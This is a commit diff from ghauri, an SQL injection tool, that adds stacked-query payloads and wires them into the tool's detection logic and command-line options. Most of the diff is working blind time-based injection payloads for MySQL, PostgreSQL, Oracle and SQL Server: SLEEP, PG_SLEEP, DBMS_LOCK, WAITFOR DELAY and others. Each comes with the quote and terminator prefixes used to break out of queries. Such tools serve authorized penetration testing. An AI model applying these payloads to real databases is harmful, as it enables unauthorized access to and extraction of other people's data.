STRLCPY/ghauri

added stacked queries injection support..
r0oth3x49 committed 2 years ago

89e745c4

1 parent 7d90c620

Revision indexing in progress... (symbol navigation in revisions will be accurate after indexed)

■ ■ ■ ■ ■ ■

ghauri/common/payloads.py

		skipped 161 lines
162	162		PAYLOADS = {
163	163		"MySQL": {
164	164		"inline-query": [],
165		-	"stacked-queries": [],
	165	+	"stacked-queries": [
	166	+	{
	167	+	"payload": "(SELECT(1)FROM(SELECT(SLEEP([SLEEPTIME])))a)",
	168	+	"comments": [
	169	+	{"pref": ";", "suf": "--"},
	170	+	{"pref": ",", "suf": "--"},
	171	+	{"pref": "';", "suf": "--"},
	172	+	{"pref": '";', "suf": "--"},
	173	+	{"pref": ");", "suf": "--"},
	174	+	{"pref": "');", "suf": "--"},
	175	+	{"pref": '");', "suf": "--"},
	176	+	{"pref": "',", "suf": "--"},
	177	+	{"pref": '",', "suf": "--"},
	178	+	],
	179	+	"title": "MySQL >= 5.0.12 stacked queries (query SLEEP)",
	180	+	"vector": "(SELECT(1)FROM(SELECT(IF([INFERENCE],SLEEP([SLEEPTIME]),0)))a)",
	181	+	"dbms": "MySQL",
	182	+	},
	183	+	{
	184	+	"payload": "if(now()=sysdate(),sleep([SLEEPTIME]),0)",
	185	+	"comments": [
	186	+	{"pref": ";", "suf": "--"},
	187	+	{"pref": ",", "suf": "--"},
	188	+	{"pref": "';", "suf": "--"},
	189	+	{"pref": '";', "suf": "--"},
	190	+	{"pref": ");", "suf": "--"},
	191	+	{"pref": "');", "suf": "--"},
	192	+	{"pref": '");', "suf": "--"},
	193	+	{"pref": "',", "suf": "--"},
	194	+	{"pref": '",', "suf": "--"},
	195	+	],
	196	+	"title": "MySQL >= 5.0.12 stacked queries (query SLEEP - comment)",
	197	+	"vector": "if([INFERENCE],sleep([SLEEPTIME]),0)",
	198	+	"dbms": "MySQL",
	199	+	},
	200	+	{
	201	+	"payload": "(SELECT CASE WHEN(1234=1234) THEN SLEEP([SLEEPTIME]) ELSE 0 END)",
	202	+	"comments": [
	203	+	{"pref": ";", "suf": "--"},
	204	+	{"pref": ",", "suf": "--"},
	205	+	{"pref": "';", "suf": "--"},
	206	+	{"pref": '";', "suf": "--"},
	207	+	{"pref": ");", "suf": "--"},
	208	+	{"pref": "');", "suf": "--"},
	209	+	{"pref": '");', "suf": "--"},
	210	+	{"pref": "',", "suf": "--"},
	211	+	{"pref": '",', "suf": "--"},
	212	+	],
	213	+	"title": "MySQL >= 5.0.12 stacked queries (query SLEEP - CASE STATEMENT)",
	214	+	"vector": "(SELECT CASE WHEN([INFERENCE]) THEN SLEEP([SLEEPTIME]) ELSE 0 END)",
	215	+	"dbms": "MySQL",
	216	+	},
	217	+	],
166	218		"boolean-based": [
167	219		{
168	220		"payload": "AND [RANDNUM]=[RANDNUM]",
		skipped 100 lines
269	321		# {"pref": "')", "suf": "XOR('1'='1 wXyW"},
270	322		# {"pref": '")', "suf": 'XOR("1"="1-- wXyW'},
271	323		],
272		-	"title": "AND/OR boolean-based blind - WHERE or HAVING clause (CASE STATEMENT)",
	324	+	"title": "AND,OR boolean-based blind - WHERE or HAVING clause (CASE STATEMENT)",
273	325		"vector": "(SELECT CASE WHEN([INFERENCE]) THEN 9854 ELSE 0 END)",
274	326		"dbms": "",
275	327		},
		skipped 52 lines
328	380		{
329	381		"payload": "(SELECT(1)FROM(SELECT(SLEEP([SLEEPTIME])))a)",
330	382		"comments": [
331		-	{"pref": "", "suf": ""},
332	383		{"pref": "", "suf": ""},
333	384		{"pref": "'+", "suf": "+'"},
334	385		{"pref": '"+', "suf": '+"'},
		skipped 495 lines
830	881		"PostgreSQL": {
831	882		"boolean-based": [],
832	883		"inline-query": [],
833		-	"stacked-queries": [],
	884	+	"stacked-queries": [
	885	+	{
	886	+	"payload": "(SELECT 4564 FROM PG_SLEEP([SLEEPTIME]))",
	887	+	"comments": [
	888	+	{"pref": ";", "suf": ""},
	889	+	{"pref": "';", "suf": "--"},
	890	+	{"pref": '";', "suf": "--"},
	891	+	{"pref": ");", "suf": "--"},
	892	+	{"pref": "');", "suf": "--"},
	893	+	{"pref": '");', "suf": "--"},
	894	+	],
	895	+	"title": "PostgreSQL > 8.1 stacked queries",
	896	+	"vector": "AND 4564=(CASE WHEN ([INFERENCE]) THEN (SELECT 4564 FROM PG_SLEEP([SLEEPTIME])) ELSE 4564 END)",
	897	+	"dbms": "PostgreSQL",
	898	+	},
	899	+	{
	900	+	"payload": "(SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000))",
	901	+	"comments": [
	902	+	{"pref": ";", "suf": ""},
	903	+	{"pref": "';", "suf": "--"},
	904	+	{"pref": '";', "suf": "--"},
	905	+	{"pref": ");", "suf": "--"},
	906	+	{"pref": "');", "suf": "--"},
	907	+	{"pref": '");', "suf": "--"},
	908	+	],
	909	+	"title": "PostgreSQL stacked queries (heavy query)",
	910	+	"vector": "(SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) ELSE 1234 END))",
	911	+	"dbms": "PostgreSQL",
	912	+	},
	913	+	],
834	914		"time-based": [
835	915		{
836	916		"payload": "AND 4564=(SELECT 4564 FROM PG_SLEEP([SLEEPTIME]))",
		skipped 83 lines
920	1000		"Oracle": {
921	1001		"boolean-based": [],
922	1002		"inline-query": [],
923		-	"stacked-queries": [],
	1003	+	"stacked-queries": [
	1004	+	{
	1005	+	"payload": "(SELECT DBMS_PIPE.RECEIVE_MESSAGE('eSwd',[SLEEPTIME]) FROM DUAL)",
	1006	+	"comments": [
	1007	+	{"pref": ";", "suf": ""},
	1008	+	{"pref": "';", "suf": "--"},
	1009	+	{"pref": '";', "suf": "--"},
	1010	+	{"pref": ");", "suf": "--"},
	1011	+	{"pref": "');", "suf": "--"},
	1012	+	{"pref": '");', "suf": "--"},
	1013	+	],
	1014	+	"title": "Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)",
	1015	+	"vector": "(CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('eSwd',[SLEEPTIME]) ELSE 5238 END)",
	1016	+	"dbms": "Oracle",
	1017	+	},
	1018	+	{
	1019	+	"payload": "BEGIN DBMS_LOCK.SLEEP([SLEEPTIME]); END",
	1020	+	"comments": [
	1021	+	{"pref": ";", "suf": ""},
	1022	+	{"pref": "';", "suf": "--"},
	1023	+	{"pref": '";', "suf": "--"},
	1024	+	{"pref": ");", "suf": "--"},
	1025	+	{"pref": "');", "suf": "--"},
	1026	+	{"pref": '");', "suf": "--"},
	1027	+	],
	1028	+	"title": "Oracle stacked queries (DBMS_LOCK.SLEEP - comment)",
	1029	+	"vector": "BEGIN IF ([INFERENCE]) THEN DBMS_LOCK.SLEEP([SLEEPTIME]); ELSE DBMS_LOCK.SLEEP(0); END IF; END",
	1030	+	"dbms": "Oracle",
	1031	+	},
	1032	+	{
	1033	+	"payload": "BEGIN USER_LOCK.SLEEP([SLEEPTIME]); END",
	1034	+	"comments": [
	1035	+	{"pref": ";", "suf": ""},
	1036	+	{"pref": "';", "suf": "--"},
	1037	+	{"pref": '";', "suf": "--"},
	1038	+	{"pref": ");", "suf": "--"},
	1039	+	{"pref": "');", "suf": "--"},
	1040	+	{"pref": '");', "suf": "--"},
	1041	+	],
	1042	+	"title": "Oracle stacked queries (USER_LOCK.SLEEP - comment)",
	1043	+	"vector": "BEGIN IF ([INFERENCE]) THEN USER_LOCK.SLEEP([SLEEPTIME]); ELSE USER_LOCK.SLEEP(0); END IF; END",
	1044	+	"dbms": "Oracle",
	1045	+	},
	1046	+	],
924	1047		"time-based": [
925	1048		{
926		-	"payload": "DBMS_PIPE.RECEIVE_MESSAGE('eSwd',[SLEEPTIME])",
	1049	+	"payload": "DBMS_PIPE.RECEIVE_MESSAGE('IsjT',[SLEEPTIME])",
927	1050		"comments": [
928		-	# {"pref": " ", "suf": ""},
929		-	{"pref": " ", "suf": "-- wXyW"},
	1051	+	{"pref": "", "suf": ""},
	1052	+	{"pref": "AND 8675=", "suf": "--"},
	1053	+	{"pref": "OR 8675=", "suf": "--"},
930	1054		# {"pref": "' ", "suf": ""},
931		-	{"pref": "' ", "suf": "-- wXyW"},
932		-	{"pref": "';", "suf": "-- wXyW"},
	1055	+	{"pref": "' AND 8675=", "suf": "--"},
	1056	+	{"pref": "' OR 8675=", "suf": "--"},
	1057	+	# {"pref": '" ', "suf": ""},
	1058	+	{"pref": '" AND 8675=', "suf": "--"},
	1059	+	{"pref": '" OR 8675=', "suf": "--"},
	1060	+	# {"pref": ") ", "suf": ""},
	1061	+	{"pref": ") AND 8675=", "suf": "--"},
	1062	+	{"pref": ") OR 8675=", "suf": "--"},
	1063	+	# {"pref": "') ", "suf": ""},
	1064	+	{"pref": "') AND 8675=", "suf": "--"},
	1065	+	{"pref": "') OR 8675=", "suf": "--"},
	1066	+	# {"pref": '") ', "suf": ""},
	1067	+	{"pref": '") AND 8675=', "suf": "--"},
	1068	+	{"pref": '") OR 8675=', "suf": "--"},
	1069	+	],
	1070	+	"title": "Oracle time-based blind (DBMS_PIPE.RECEIVE_MESSAGE - comment)",
	1071	+	"vector": "(CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('IkdY',[SLEEPTIME]) ELSE 5689 END)",
	1072	+	"dbms": "Oracle",
	1073	+	},
	1074	+	{
	1075	+	"payload": "DBMS_LOCK.SLEEP([SLEEPTIME])",
	1076	+	"comments": [
	1077	+	{"pref": "", "suf": ""},
	1078	+	{"pref": "AND 8675=", "suf": "--"},
	1079	+	{"pref": "OR 8675=", "suf": "--"},
	1080	+	# {"pref": "' ", "suf": ""},
	1081	+	{"pref": "' AND 8675=", "suf": "--"},
	1082	+	{"pref": "' OR 8675=", "suf": "--"},
933	1083		# {"pref": '" ', "suf": ""},
934		-	{"pref": '" ', "suf": "-- wXyW"},
	1084	+	{"pref": '" AND 8675=', "suf": "--"},
	1085	+	{"pref": '" OR 8675=', "suf": "--"},
935	1086		# {"pref": ") ", "suf": ""},
936		-	{"pref": ") ", "suf": "-- wXyW"},
	1087	+	{"pref": ") AND 8675=", "suf": "--"},
	1088	+	{"pref": ") OR 8675=", "suf": "--"},
937	1089		# {"pref": "') ", "suf": ""},
938		-	{"pref": "') ", "suf": "-- wXyW"},
	1090	+	{"pref": "') AND 8675=", "suf": "--"},
	1091	+	{"pref": "') OR 8675=", "suf": "--"},
939	1092		# {"pref": '") ', "suf": ""},
940		-	{"pref": '") ', "suf": "-- wXyW"},
	1093	+	{"pref": '") AND 8675=', "suf": "--"},
	1094	+	{"pref": '") OR 8675=', "suf": "--"},
941	1095		],
942		-	"title": "Oracle time-based blind",
943		-	"vector": "(CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('eSwd',[SLEEPTIME]) ELSE 5238 END)",
	1096	+	"title": "Oracle time-based blind (DBMS_LOCK.SLEEP - comment)",
	1097	+	"vector": "(CASE WHEN ([INFERENCE]) THEN DBMS_LOCK.SLEEP([SLEEPTIME]) ELSE DBMS_LOCK.SLEEP(0) END)",
944	1098		"dbms": "Oracle",
945	1099		},
946	1100		{
947		-	"payload": "8675=DBMS_PIPE.RECEIVE_MESSAGE('IsjT',[SLEEPTIME])",
	1101	+	"payload": "USER_LOCK.SLEEP([SLEEPTIME])",
948	1102		"comments": [
949		-	# {"pref": " ", "suf": ""},
950		-	{"pref": "AND ", "suf": "--"},
951		-	{"pref": "OR ", "suf": "--"},
	1103	+	{"pref": "", "suf": ""},
	1104	+	{"pref": "AND 8675=", "suf": "--"},
	1105	+	{"pref": "OR 8675=", "suf": "--"},
952	1106		# {"pref": "' ", "suf": ""},
953		-	{"pref": "' AND ", "suf": "--"},
954		-	{"pref": "' OR ", "suf": "--"},
	1107	+	{"pref": "' AND 8675=", "suf": "--"},
	1108	+	{"pref": "' OR 8675=", "suf": "--"},
955	1109		# {"pref": '" ', "suf": ""},
956		-	{"pref": '" AND ', "suf": "--"},
957		-	{"pref": '" OR ', "suf": "--"},
	1110	+	{"pref": '" AND 8675=', "suf": "--"},
	1111	+	{"pref": '" OR 8675=', "suf": "--"},
958	1112		# {"pref": ") ", "suf": ""},
959		-	{"pref": ") AND ", "suf": "--"},
960		-	{"pref": ") OR ", "suf": "--"},
	1113	+	{"pref": ") AND 8675=", "suf": "--"},
	1114	+	{"pref": ") OR 8675=", "suf": "--"},
961	1115		# {"pref": "') ", "suf": ""},
962		-	{"pref": "') AND ", "suf": "--"},
963		-	{"pref": "') OR ", "suf": "--"},
	1116	+	{"pref": "') AND 8675=", "suf": "--"},
	1117	+	{"pref": "') OR 8675=", "suf": "--"},
964	1118		# {"pref": '") ', "suf": ""},
965		-	{"pref": '") AND ', "suf": "--"},
966		-	{"pref": '") OR ', "suf": "--"},
	1119	+	{"pref": '") AND 8675=', "suf": "--"},
	1120	+	{"pref": '") OR 8675=', "suf": "--"},
967	1121		],
968		-	"title": "Oracle AND/OR time-based blind (comment)",
969		-	"vector": "8675=(CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('IkdY',[SLEEPTIME]) ELSE 5689 END)",
	1122	+	"title": "Oracle time-based blind (USER_LOCK.SLEEP - comment)",
	1123	+	"vector": "(CASE WHEN ([INFERENCE]) THEN USER_LOCK.SLEEP([SLEEPTIME]) ELSE USER_LOCK.SLEEP(0) END)",
970	1124		"dbms": "Oracle",
971	1125		},
972	1126		],
		skipped 44 lines
1017	1171		"boolean-based": [],
1018	1172		"inline-query": [],
1019	1173		"stacked-queries": [
1020		-	# {
1021		-	# "payload": "WAITFOR DELAY '0:0:[SLEEPTIME]'",
1022		-	# "comments": [
1023		-	# {"pref": ";", "suf": ""},
1024		-	# {"pref": "';", "suf": ""},
1025		-	# {"pref": '";', "suf": ""},
1026		-	# {"pref": ");", "suf": ""},
1027		-	# {"pref": "');", "suf": ""},
1028		-	# {"pref": '");', "suf": ""},
1029		-	# ],
1030		-	# "title": "Microsoft SQL Server/Sybase stacked queries",
1031		-	# "vector": ";IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]''",
1032		-	# "dbms": "Microsoft SQL Server",
1033		-	# },
1034		-	# {
1035		-	# "payload": "WAITFOR DELAY '0:0:[SLEEPTIME]'",
1036		-	# "comments": [
1037		-	# {"pref": ";", "suf": "--"},
1038		-	# {"pref": "';", "suf": "--"},
1039		-	# {"pref": '";', "suf": "--"},
1040		-	# {"pref": ");", "suf": "--"},
1041		-	# {"pref": "');", "suf": "--"},
1042		-	# {"pref": '");', "suf": "--"},
1043		-	# ],
1044		-	# "title": "Microsoft SQL Server/Sybase stacked queries (comment)",
1045		-	# "vector": ";IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]''",
1046		-	# "dbms": "Microsoft SQL Server",
1047		-	# },
	1174	+	{
	1175	+	"payload": "WAITFOR DELAY '0:0:[SLEEPTIME]'",
	1176	+	"comments": [
	1177	+	{"pref": ";", "suf": ""},
	1178	+	{"pref": "';", "suf": ""},
	1179	+	{"pref": '";', "suf": ""},
	1180	+	{"pref": ");", "suf": ""},
	1181	+	{"pref": "');", "suf": ""},
	1182	+	{"pref": '");', "suf": ""},
	1183	+	],
	1184	+	"title": "Microsoft SQL Server/Sybase stacked queries",
	1185	+	"vector": "IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]'",
	1186	+	"dbms": "Microsoft SQL Server",
	1187	+	},
	1188	+	{
	1189	+	"payload": "WAITFOR DELAY '0:0:[SLEEPTIME]'",
	1190	+	"comments": [
	1191	+	{"pref": ";", "suf": "--"},
	1192	+	{"pref": "';", "suf": "--"},
	1193	+	{"pref": '";', "suf": "--"},
	1194	+	{"pref": ");", "suf": "--"},
	1195	+	{"pref": "');", "suf": "--"},
	1196	+	{"pref": '");', "suf": "--"},
	1197	+	],
	1198	+	"title": "Microsoft SQL Server/Sybase stacked queries (comment)",
	1199	+	"vector": "IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]'",
	1200	+	"dbms": "Microsoft SQL Server",
	1201	+	},
1048	1202		],
1049	1203		"time-based": [
1050	1204		{
		skipped 554 lines

■ ■ ■ ■ ■ ■ ■

ghauri/common/utils.py

		skipped 162 lines
163	163		http_error_301 = http_error_303 = http_error_307 = http_error_302
164	164
165	165
166		-	def parse_payload(url=None, data=None, is_multipart=False, injection_type=None, payload=None):
	166	+	def parse_payload(url=None, data=None, is_multipart=False, injection_type=None, payload=None, param_name=None):
167	167		clean = lambda x: x.replace("%2b", "+").replace("%2B", "+")
168		-	if injection_type == "URI":
169		-	return clean(urldecode(url))
170	168		if injection_type == "GET":
	169	+	if param_name and param_name == "#1*":
	170	+	return clean(urldecode(url))
171	171		return clean(urldecode(urlparse(url).query))
172	172		if injection_type == "POST":
173	173		if is_multipart:
		skipped 1235 lines
1409	1409		timebased_only=False,
1410	1410		booleanbased_only=False,
1411	1411		error_based_only=False,
	1412	+	stack_queries_only=False
1412	1413		):
1413	1414		_temp = []
1414	1415		if dbms:
		skipped 11 lines
1426	1427		timebased_only=timebased_only,
1427	1428		booleanbased_only=booleanbased_only,
1428	1429		error_based_only=error_based_only,
	1430	+	stack_queries_only=stack_queries_only
1429	1431		)
1430	1432		if not dbms:
1431	1433		# fetch only boolean based and blind based payloads as we can't identify the backend dbms
		skipped 4 lines
1436	1438		timebased_only=timebased_only,
1437	1439		booleanbased_only=booleanbased_only,
1438	1440		error_based_only=error_based_only,
	1441	+	stack_queries_only=stack_queries_only
1439	1442		)
1440	1443		if ok:
1441	1444		_temp.extend(ok)
		skipped 6 lines
1448	1451		timebased_only=False,
1449	1452		booleanbased_only=False,
1450	1453		error_based_only=False,
	1454	+	stack_queries_only=False
1451	1455		):
1452	1456		Payload = collections.namedtuple("Payload", ["prefix", "suffix", "string", "raw"])
1453	1457		Response = collections.namedtuple(
		skipped 28 lines
1482	1486		_r = Response(
1483	1487		dbms=backend,
1484	1488		type="time-based",
	1489	+	title=title,
	1490	+	payloads=__temp,
	1491	+	vector=vector,
	1492	+	)
	1493	+	_temp.append(_r)
	1494	+	if stack_queries_only:
	1495	+	entries = payloads.get("stacked-queries", [])
	1496	+	for entry in entries:
	1497	+	_ = entry.get("payload")
	1498	+	title = entry.get("title")
	1499	+	comments = entry.get("comments", [])
	1500	+	vector = entry.get("vector", "")
	1501	+	backend = entry.get("dbms", "")
	1502	+	if backend and dbms:
	1503	+	backend = dbms
	1504	+	elif backend and not dbms:
	1505	+	backend = backend
	1506	+	else:
	1507	+	backend = None
	1508	+	__temp = []
	1509	+	for comment in comments:
	1510	+	pref = comment.get("pref")
	1511	+	suf = comment.get("suf")
	1512	+	_p = Payload(
	1513	+	prefix=pref,
	1514	+	suffix=suf,
	1515	+	string="{}{}{}".format(pref, _, suf),
	1516	+	raw=_,
	1517	+	)
	1518	+	__temp.append(_p)
	1519	+	_r = Response(
	1520	+	dbms=backend,
	1521	+	type="error-based",
1485	1522		title=title,
1486	1523		payloads=__temp,
1487	1524		vector=vector,
		skipped 103 lines

■ ■ ■ ■ ■ ■

ghauri/core/tests.py

		skipped 756 lines
757	757		suffix=None,
758	758		is_json=False,
759	759		retry=3,
	760	+	techniques="T",
760	761		):
761	762		Response = collections.namedtuple(
762	763		"SQLi",
		skipped 23 lines
786	787		],
787	788		)
788	789		time_based_payloads = fetch_db_specific_payload(
789		-	dbms=dbms, timebased_only=True, booleanbased_only=False
	790	+	dbms=dbms,
	791	+	booleanbased_only=False,
	792	+	timebased_only=bool("T" in techniques),
	793	+	stack_queries_only=bool("S" in techniques),
790	794		)
791	795		param_key = parameter.get("key")
792	796		param_value = parameter.get("value")
		skipped 603 lines
1396	1400		)
1397	1401		if injection_type == "GET":
1398	1402		payload = parse_payload(
1399		-	_url, injection_type=injection_type, is_multipart=is_multipart
	1403	+	_url, injection_type=injection_type, param_name=param_name
1400	1404		)
1401	1405		elif injection_type == "POST":
1402	1406		payload = parse_payload(
		skipped 238 lines
1641	1645		dbms = bsqli.backend if not dbms else dbms
1642	1646		if number_of_requests_performed == 4:
1643	1647		number_of_requests_performed += bsqli.number_of_requests
1644		-	if "T" in techniques:
	1648	+	if "T" in techniques or "S" in techniques:
1645	1649		if not dbms and possible_dbms:
1646	1650		dbms = possible_dbms
1647	1651		tsqli = check_timebased_sqli(
		skipped 14 lines
1662	1666		suffix=suffix,
1663	1667		is_json=is_json,
1664	1668		retry=retries,
	1669	+	techniques=techniques,
1665	1670		)
1666	1671		is_injected_time = bool(tsqli and tsqli.injected)
1667	1672		if is_injected_time:
		skipped 142 lines
1810	1815		)
1811	1816		if injection_type == "GET":
1812	1817		payload = parse_payload(
1813		-	url,
	1818	+	entry.url,
1814	1819		injection_type=injection_type,
	1820	+	param_name=param_name,
1815	1821		)
1816	1822		elif injection_type == "POST":
1817	1823		payload = parse_payload(
		skipped 90 lines

■ ■ ■ ■ ■ ■

ghauri/scripts/ghauri.py

		skipped 265 lines
266	266		"--technique",
267	267		dest="tech",
268	268		type=str,
269		-	help='SQL injection techniques to use (default "BTE")',
270		-	default="BTE",
	269	+	help='SQL injection techniques to use (default "BEST")',
	270	+	default="BEST",
271	271		)
272	272		techniques.add_argument(
273	273		"--time-sec",
		skipped 198 lines

added stacked queries injection support..